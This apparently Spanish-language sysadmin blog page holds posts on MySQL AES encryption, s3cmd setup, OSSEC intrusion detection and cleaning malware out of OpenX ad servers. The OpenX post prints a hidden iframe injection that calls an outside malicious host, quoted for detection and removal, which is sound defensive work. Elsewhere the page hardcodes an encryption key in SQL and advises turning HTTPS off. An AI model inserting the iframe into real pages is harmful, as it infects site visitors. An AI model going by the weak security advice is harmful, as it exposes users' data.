Cónoceme

MySQL: ¿Cómo cifrar datos con AES? | Mysql



 ¿Porqué Cifrar datos en MySQL? 

Si trabajamos con datos muy sensibles es necesario cifrar estos datos sobre todo si son contraseñas o numero de tarjetas de bancos.
¿Qué es AES?
AES viene de las siglas Estandar de Encriptación Avanzada ( Advanced Encryption Standar).
AES originalmente se llamo Rijndael que fué el algoritmo ganador tras una convocatoria de algoritmos de cifrado por el Instituto Nacional de Standares y Tecnologias (NIST) entre 1997-2000.
¿Quién desarrollo AES?
AES fue desarrollado por los criptologistas belgas: Vicent Rijmen y Joan Daemen.
¿Cómo funciona AES?
AES basicamente tiene dos funciones AES_ENCRYPT Y AES_DECRYPT estas funciones permiten el cifrado y descifrado de datos utilizando el algoritmo AES. Ambas funciones necesitan de una llave (una contraseña que nosotros definamos) tanto para encriptar como para desencriptar.
¿Cuántos bits usa por defecto AES?
AES por defecto usa un cifrado con una clave de 128 bits pero puede usar hasta 256 bits.
AES a mayor número de bits mayor la seguridad y menor velocidad de trabajo. Pero por ahora 128 bits viene siendo los suficientemente segura y rápida.
¿Cuál es la Sintáxis de AES?
AES_ENCRYPT (cadena,clave)
AES_DECRYPT (cadena,clave)

Ejmplos:
1.- Cifrar:
mysql> UPDATE Cliente
         -> SET tarjeta = AES_ENCRYPT ('CARD-4557880279766423', 'secretkey-wT125H')
         ->WHERE id = 1;


Ver Cifrado:
mysql>SELECT tarjeta FROM cliente WHERE id = 1;

2.- Descifrar:
mysql> SELECT AES_DECRYPT (tarjeta, 'secretkey-wT125H')
             FROM cliente WHERE id = 1 ;







0 comentarios:

Sincronizar Linux con S3 Amazon

¿Qué es el servicio Amazon S3?
El terminó Amazon S3 proviene de Amazon Simple Storage Service (como notarán de ahi salen las 3S o S3).

Amazon S3 se usa para almacenar y recuperar cualquier cantidad de datos en cualquier momento, desde cualquier parte de la Web.

¿Qué tareas puedo hacer en Amazon S3?
1.- Registrarse en Amazon S3.
2.- Crear un Depósito.
3.- Añadir un Objeto a un depósito.
4.- Visualizar el objeto.
5.- Mover un objeto.
6.- Borrar un Objeto y un Depósito.

Deposito.- Contenedor de archivos.
Objeto.- Nuestro archivos que estan dentro del Deposito.


Ingresamos al directorio de repositorios
cd /etc/yum.repos.d/
Descargamos el repositorio en ese Directorio
wget http://s3tools.org/repo/RHEL_6/s3tools.repo
yum install s3cmd
Preguntas si queremos importar Key le decimos que si: Yes
Importing GPG key 0xE612B227:
 Userid     : "home:mludvig OBS Project <home:mludvig@build.opensuse.org>"
 Fingerprint: 96c4 2afc 03b2 73a8 43e2 a964 9f7d 494d e612 b227
 From       : http://s3tools.org/repo/RHEL_6/repodata/repomd.xml.key
Is this ok [y/N]: y
Finalmente nos mostrara:
Installed:
  s3cmd.x86_64 0:1.0.0-4.1 
Ahora para configurar ejecutamos: 
s3cmd --configure
Paso siguiente nos solicitara nuestra Acces Key y  Secret Key:
Enter new values or accept defaults in brackets with Enter.
Refer to user manual for detailed description of all options.

Access key and Secret key are your identifiers for Amazon S3
Access Key: AATFHFJSJJEJEJEEEEE
Secret Key: ifgYbeorzwL+qjvjeurfhsdjsadTp
Ahora nos Pedira un password lo dejamos en blanco y le damos ENTER
Encryption password is used to protect your files from reading
by unauthorized persons while in transfer to S3
Encryption password:
Ahora nos pedira la ruta donde instalar el bin le damos Enter para la ruta por defecto.
Path to GPG program [/usr/bin/gpg]:
Ahora nos preguntara si deseamos usar HTTPS le damos enter por defecto es NO:
When using secure HTTPS protocol all communication with Amazon S3
servers is protected from 3rd party eavesdropping. This method is
slower than plain HTTP and can't be used if you're behind a proxy
Use HTTPS protocol [No]:
Ahora preguntara si deseamos usar PROXY lo dejamos en blanco y ENTER:
On some networks all internet access must go through a HTTP proxy.
Try setting it here if you can't conect to S3 directly
HTTP Proxy server name:
Ahora mostrara un resumen de la Configuración:
New settings:
  Access Key: AATFHFJSJJEJEJEEEEE
  Secret Key: ifgYbeorzwL+qjvjeurfhsdjsadTp
  Encryption password: 
  Path to GPG program: /usr/bin/gpg
  Use HTTPS protocol: False
  HTTP Proxy server name: 
  HTTP Proxy server port: 0
Ahora Preguntara si deseamos hacer un TEST o prueba con nuestras credenciales le decimos que si "YES"
Test access with supplied credentials? [Y/n] y
si todo esta bien nos mostrara lo siguiente:
Success. Your access key and secret key worked fine :-)
Ahora nos preguntara si deseamos guardar la configuración le decimos que si y nos generara un archivo oculto .s3cfg:
Save settings? [y/N] y
Configuration saved to '/root/.s3cfg'

0 comentarios:

INSTALACIÓN DE OSSEC HIDS EN 4 SENCILLOS PASOS: ¿Cómo Detectar Intrusos y Ataques?

 OSSEC HIDS.- es un sistema de código abierto basado detección de intrusos en el host (host intrusion detection) o Tambien llamado IDS.


Resumen de Características:
  • Realiza análisis de registros.
  • Integridad de archivos o ficheros.
  • Seguimiento en las modificaciones del los archivos.
  • Alertas en tiempo real y respuesta activa.
  • Detección de rootkits (Instalación de un programa oculto para corromper el funcionamiento normal del sistema o aplicaciones).
  • Dectección, bloqueo y alerta de ataques por Fuerza Bruta.   




Instalación de OSSEC.
Paso1: Instalar paquetes necesarios.
 #  yum install gcc  gcc-c++

Paso2: Descargar OSSEC HIDS o hacer un wget a la URL de descarga desde el terminal de linux.
#  wget http://www.ossec.net/files/ossec-hids-2.7.1.tar.gz


Paso3: Extraemos el Paquete:
# tar zxvf ossec-hids-2.7.1.tar.gz

Paso4: Ingresamos a la carpeta descomprimida e instalamos.
# cd ossec-hids-2.7.1
# sh install.sh-> Despues de ejecutar nos hara un serie de preguntas.

1.-Elegimos el Idioma en mi español (digitamos: es).
# [en]: es  

2.- Luego veras una descripción y mostrará dos Opciones:
 ENTER para continuar y CTRL+C para detener la instalación. 
 Presionamos ENTER y continuamos.

3.- Luego preguntará por el tipo de instalación: servidor, agente, local ó ayuda.
Digitamos servidor porque así nos permite proteger nuestro server y agregar host para que también sean protegidos.

4.-  Luego preguntará por la ruta de instalación:
Digitamos la ruta por defecto que nos aparece: /var/ossec.

5.- Luego preguntara si deseamos recibir notificaciones por correo y nos pedira nuestro correo.
Digitamos la  de SI y luego digitamos nuestro correo.

6.- Luego detectará automáticamente tu servidor SMTP.
Digitamos la  s   de si y sino lo dectecta digitamos nuestro servidor SMTP en mi caso smtp.gmail.com porque mi correo esta en gmail.

7.- Luego preguntará si deseamos agregar el servidor de integridad.
Digitamos la  de SI.

8.- Luego preguntará si deseamos repuesta activa (Bloquear IP o usuario ante comportamiento extraño).
Digitamos la  de SI.

9.- Luego preguntará si firewall se encargará de los bloqueos.
Digitamos la  de SI.

10. Luego nos detecta nuestro DNS para internet y agrega a la lista blanca y pregunta si queremos agregar otra IP.
Digitamos la  de NO.

11.- Luego preguntara si deseamos habilitar el syslog remoto (registro de eventos) .
Digitamos la  de SI.

12.- Luego preguntara si deseamos continuar presionar ENTER para instalar.
Presionamos ENTER.

13.- Luego antes de finalizar la instalación y nos mostrara alguna recomendaciones.
  • El archivo de configuración de OSSEC HIDS:
/var/ossec/etc/ossec.conf
  • Para Iniciar OSSEC HIDS:
/var/ossec/bin/ossec-control start
  • Para Detener OSSEC HIDS:
/var/ossec/bin/ossec-control stop
  • Para Agregar agentes (PC clientes) nos recomienda usar "manage_agents".
/var/ossec/bin/manage_agents 


  • Para borrar historial "local".
/var/ossec/bin/syscheck_update -u local

Para borrar historial "de agentes".


/var/ossec/bin/syscheck_update -a


Y por ultimo nos pide presionar ENTER para FINALIZAR LA INSTALACIÓN.
NOTA: Cabe señalar que Ossec trabaja en base a reglas definidas por defecto las cuales las modificaremos para una mejor performance.
 REGLAS ADICIONALES
A continuación detallo unas reglas que te permitirán monitorear y alertar por carpeta y por extensión de archivos.
La cantidad de archivos y carpetas demandaran mas trabajo para tu servidor lo ideal sería definir extensiones de archivos y las carpetas de alto riesgo.

¿ Cómo modificamos y personalizamos  las reglas ?
Paso0: Para un archivo específico.
Editamos el archivo  nano /var/ossec/etc/ossec.conf
buscamos la línea 262 y agregamos:

<!--Agregando un archivo para revisón -->
 <localfile>
    <log_format>syslog</log_format>        ---> Nombre cualquiera
    <location>/etc/syslog</location>   
       ---> Ruta del Archivo
  </localfile>
<!--Fin de archivo agregado -->

Paso1: Para directorios y archivos por extensiones.
Editamos el archivo  nano /var/ossec/etc/ossec.conf

y buscamos la siguiente línea (aprox. linea 74):  
----------------Encontramos lo siguiente---------------------------------------
<syscheck>
    <!-- Frequency that syscheck is executed - default to every 22 hours -->
    <frequency>79200</frequency>

    <!-- Directories to check  (perform all possible verifications) -->
    <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>
    <directories check_all="yes">/bin,/sbin</directories>
-------------------------------------------------------------------------------------
----------------Modificamos por lo siguiente------------------------------------
<syscheck>
    <!-- Frequency that syscheck is executed - default to every 22 hours -->
    <!-- Directories to check  (perform all possible verifications) -->
    <!--  <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories> -->
    <!-- <directories check_all="yes">/bin,/sbin</directories> -->
  
 <!-- Frencuencia de Revisión cada 10 segundos -->
<frequency>10</frequency>

 <!-- Alertar cuando se genera nuevos archivos -->    

 <alert_new_files>yes</alert_new_files>

<!-- Alertar en tiempo real para ello agregamos una setencia: realtime="yes" -->   

<directories realtime="yes" check_all="yes">/home/test2</directories>
 
<!-- Para archivos con extensiones específicas en carpetas especificas -->

<directories realtime="yes" check_all="yes" restrict=".php|.js">/home/test3</directories>


-----------------------------------------------------------------------------------

A continuación explicamos las líneas:

Las letras de color amarillo son comentarios: 
Las letras de color anaranjado son nuestros directorios a revisar.

<frequency>10</frequency>  : es la frecuencia de tiempo que actualizará.

<alert_new_files>yes</alert_new_files> : es la aregla cuando detecte nuevos archvos.


<directories realtime="yes" check_all="yes">/home/test2</directories> : directorio que será revisado en tiempo real.

<directories realtime="yes" check_all="yes" restrict=".php|.js">/home/test3</directories> : directorio que será revisado en tiempo real y solamente alertara si la extensión del archivo es "php" o "js".


Paso2: Para poner alertas cuando se generan nuevos archivos.
 Editamos el archivo: nano /var/ossec/rules/ossec_rules.xml
y buscamos la siguiente linea (Aprox. la línea 200) :

----------------Encontramos lo siguiente---------------------------------------
 

<rule id="554" level="0">
    <category>ossec</category>
    <decoded_as>syscheck_new_entry</decoded_as>
    <description>File added to the system.</description>
    <group>syscheck,</group>
  </rule>


-------------------------------------------------------------------------------------

--------------------Agregamos Otro bloque debajo quedando así-----------------------------

  <rule id="554" level="0">
    <category>ossec</category>
    <decoded_as>syscheck_new_entry</decoded_as>
    <description>File added to the system.</description>
    <group>syscheck,</group>
  </rule>
<!-- AGREGADO BLOQUE PARA NOTIFICAR CON ARCHIVOS NUEVOS -->
<rule id="554" level="7" overwrite="yes">
<category>ossec</category>
<decoded_as>syscheck_new_entry</decoded_as>
<description>File added to the system.</description>
<group>syscheck,</group>
</rule>
<!-- FIN DE NOTIFICAR -->


--------------------------------------------------------------------------------------------------------------
Paso3: Con estas reglas ya podrás tener un ambiente mejor moniteoreado ante cambios o modificaciones indebidas de acuerdo a los directorios y extensiones de archivos que tú definas.

0 comentarios:

Malware en OpenX : Cómo Encontrar y Eliminar Malware iframe

Malware en Openx.- Estos ultimos meses hemos encontrado gran cantidad de victimas que han sido atacados debido a alguna vulnerabilidad en OpenX  que permite inserción de código Malicioso.

Esto cantidad de ataques se debe a que los Anuncios en línea son una fuente importante de Ingresos para muchos sitios Web.

Revive AdServer (Open Source) sucesor de Openx quien fue Open Source hasta unos meses, dejando a muchos fieles seguridores usando Openx que tuvieron que arreglarselas para migrar a Revive AdServer o Seguir Usando Openx desfasado.

La conclusión es sencilla que mejor oportunidad de anunciar y ganar dinero con un Sistema totalemente gratuito y libre.   


¿ Qué es OpenX y Revive AdServer ? 
Son sistemas de publicación de anuncios que tienes las siguientes caracteríticas:
  • Publicar anuncios en Sitios Web.
  • Recopilar estadítica detallada sobre las impresiones, clics y conversiones.
  • Administrar campañas de varios anunciantes.
  • Interfaz Web facil de Usar.
  • Definir reglas para la entrega de campañas, anuncios y segmentación geográfica.
  • Resultados de campaña y reporte.
¿Cómo funciona OpenX?
Cuando los usuarios visitan un anuncio un script PHP crea dinámicamente un código Java Script que serán incrustado en los Anuncios de la página Web.

¿Cómo el Malware se inserta en OpenX?
El Malware aprovecha la generación código para los anuncios y se inserta como un pequeño fragmento de Java Script.

¿Cómo encuentro al Malware?
Paso 1: Buscamos código malicioso en los campos append/prepend de la tabla banners.
Para saber el código del anuncio y revisarlo via Web lo obtenemos de bannerid.
 Para OpenX:
SELECT bannerid, append, prepend FROM ox_banners WHERE append != '' OR prepend != '';

SELECT append,prepend FROM ox_banners WHERE append LIKE '%<br>%';

       Ejemplo: Ejecuto mis consultas en el programa  SQLyog  que esta configurado con mi   
                                  base datos de publicidad.

                                  Ejecutamos la consulta.

                                    Una vez obtenido los resultados le damos doble Clic en una de las filas:
                                      Todo ese código señalado con rojo es lo que nos han insertado así que
                                       debemos borrarlo.

Ojo: En SQLyog tienes que estar como escritura por defecto nos pone "Read Only" y siempre dar clic en el disquete para que guarde los cambios.



Paso 2: Buscamos código malicioso en los campos append/prepend de la tabla zonas.
Para saber el código del anuncio y revisarlo via Web lo obtenemos de zoneid.  
Para Openx:
SELECT zoneid, append, prepend FROM ox_zones WHERE append != '' OR prepend != '';

Malware
¿Cómo se que es un código Malicioso?
  • Pero un ejemplo de código Maliciso podria ser este que encontre en mi caso:
document.write('<iframe src="http://iexplorerupdte32.in/pagead/gallery/demo.php?shim=23" style="display:none;visibility:hidden;" ></iframe>');
  • Consultar con el administrador o el responsable de los anuncios y verificar que es código Valido.
Paso 3: Verificar que no haya usuarios administradores extraños.

Para Openx:
SELECT u.user_id, u.contact_name, u.email_address, u.active, u.username FROM ox_users AS u, ox_account_user_assoc AS aua WHERE u.user_id=aua.user_id AND aua.account_id = (SELECT value FROM ox_application_variable WHERE name='admin_account_id');


Recomendaciones Adicionales:
  • Cambia regularmente el password de los usuarios del sistema.
  • Borra el archivo .../openx/www/admin/install.php.
  • Borra el archivo .../openx/www/admin/install_plugins.php.
Ejemplo de código malicioso que usualmente insertan en OpenX.
<br>

<script type='text/javascript'><!--//<![CDATA[
document.MAX_ct0 ='{clickurl}';

var m3_u = (location.protocol=='https:'?
'https://d2va07tmah0l23.oxcdn.com/www/delivery/ajs.php'
:'http://d2va07tmah0l23.oxcdn.com/www/delivery/ajs.php');
var m3_r = Math.floor(Math.random()*99999999999);
if (!document.MAX_used) document.MAX_used = ',';
document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u);
document.write ("?zoneid=174");
document.write ('&amp;cb=' + m3_r);
if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used);
document.write (document.charset ? '&amp;charset='+document.charset :
(document.characterSet ? '&amp;charset='+document.characterSet : ''));
document.write ("&amp;loc=" + escape(window.location));
if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer));
if (document.context) document.write ("&context=" + escape(document.context));
if ((typeof(document.MAX_ct0) != 'undefined') && (document.MAX_ct0.substring(0,4) == 'http')) {
document.write ("&amp;ct0=" + escape(document.MAX_ct0));
}
if (document.mmm_fo) document.write ("&amp;mmm_fo=1");
document.write ("'><\/scr"+"ipt>");
//]]>-->
</script>
<noscript>

0 comentarios:

MYSQL: ¿ CÓMO HACER MAS RÁPIDA TU BASE DATOS ?

Optimizar la Base Datos siempre es una tarea que tenemos que recordar como mantener nuestro propio cuerpo en forma. En MySQL tenemos algunas alternativas para lograr un MEJOR RENDIMIENTO de nuestra BASE DATOS de la cual hablaremos a continuación.


¿Has ejecutado muchos borrados (DELETE)  en tu Base Datos? SI
¿Has echo muchas  inserciones (INSERT) en tu Base Datos? SI
¿Has echo muchos cambios en tus tablas? SI
¿Deseas ordenar tus Índices de Base Datos? SI

Si tu respuesta es SI entonces considera necesario realizar una optimización a tu BASE DATOS.
¿Qué es OPTIMIZE TABLE
OPTIMIZE TABLE es un comando que debe ejecutarse cuando:
  • Se ha borrado una catidad considerable de información en una tabla. 
  • Cuando se hace muchos cambios en una tabla con registros de longitud variable (Tablas con columnas Float, Varchar, date, etc). 
  • Necesitamos borrar posiciones antiguas de registro es decir defragmentar el fichero de DATOS.
¿En qué Tablas funciona OPTIMIZE TABLE?
OPTIMIZE TABLE funciona en tablas cuya motor de almacenamiento es:
  • BDB.
  • InnoDB.
  • MyISAM.
¿Cómo funciona OPTIMIZE TABLE para tablas MyISAM?
  • Cuando se borran o dividen registros OPTIMIZE TABLE repara la tabla.
  • Si los índices estan desordenados OPTIMIZE TABLE los ordena.
 ¿Cómo fuciona OPTIMIZE TABLE para tablas InnoDB?
  • Reconstruye la tabla.
  • Libera espacion no utilizado en el índice clusterizado.
  • Recontruye las estadísticas actualizadas de los índices clusterizados.
Índice clusterizado: mejora el rendimiento de las consultas se puede reorganizar a petición es decir una rápida ordenación y filtrado; pero no debemos elegir campos que cambian con mucha frecuencia o almacena mucha información.
Los excelentes candidatos para Índice Clustered suelen ser por defecto las Claves Primarias. Cuanto mas exclusivos mejor. 
  ¿Cómo hago OPTIMIZE TABLE a mi base datos?  

Por ejemplo:  Ejecutar el comando optimize table en nuestra tabla users.

mysql> optimize table users;
+--------------------+----------+----------+----------+
| Table              | Op       | Msg_type | Msg_text |
+--------------------+----------+----------+----------+
| openatriumdb.users | optimize | status   | OK       |
+--------------------+----------+----------+----------+
1 row in set (0.42 sec)

Con esto habremos optimizado nuestra tabla users.

IMPORTANTE: Tener en cuenta que MYSQL bloquea la tabla mientras se ejecuta OPTIMIZE TABLE.

Tambien enterate Primero de:

http://conectateperucom.blogspot.com/2014/01/mantenimiento-mysql-estado-de-base.html

0 comentarios: